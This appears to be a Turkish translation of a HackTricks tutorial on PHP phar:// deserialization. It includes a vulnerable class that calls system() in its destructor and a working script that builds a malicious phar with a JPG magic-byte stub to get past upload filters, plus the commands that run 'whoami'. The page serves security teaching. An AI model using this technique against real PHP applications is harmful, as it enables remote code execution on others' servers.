phar:// deserialization
Reading time: 3 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Phar dosyaları (PHP Archive) serileştirilmiş formatta meta veriler içerir, bu nedenle, ayrıştırıldığında, bu meta veriler deserileştirilir ve PHP kodu içinde bir deserileştirme zafiyetini istismar etmeye çalışabilirsiniz.
Bu özelliğin en iyi yanı, bu deserileştirmenin file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize() gibi PHP kodunu eval etmeyen PHP fonksiyonları kullanıldığında bile gerçekleşmesidir.
Yani, bir PHP web uygulamasının phar://
protokolünü kullanarak keyfi bir dosyanın boyutunu alabileceği bir durumu hayal edin ve kodun içinde aşağıdaki gibi bir sınıf buluyorsunuz:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
Bir phar dosyası oluşturabilirsiniz; bu dosya yüklendiğinde, bu sınıfı kötüye kullanarak rastgele komutlar çalıştırmak için şöyle bir şeyle:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Not edin ki JPG'nin sihirli baytları (\xff\xd8\xff
), phar dosyasının başına yükleme kısıtlamalarını aşmak için eklenmiştir.
test.phar
dosyasını şu şekilde derleyin:
php --define phar.readonly=0 create_phar.php
Ve zayıf kodu kötüye kullanarak whoami
komutunu çalıştırın:
php vuln.php
Referanslar
https://blog.ripstech.com/2018/new-php-exploitation-technique/
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.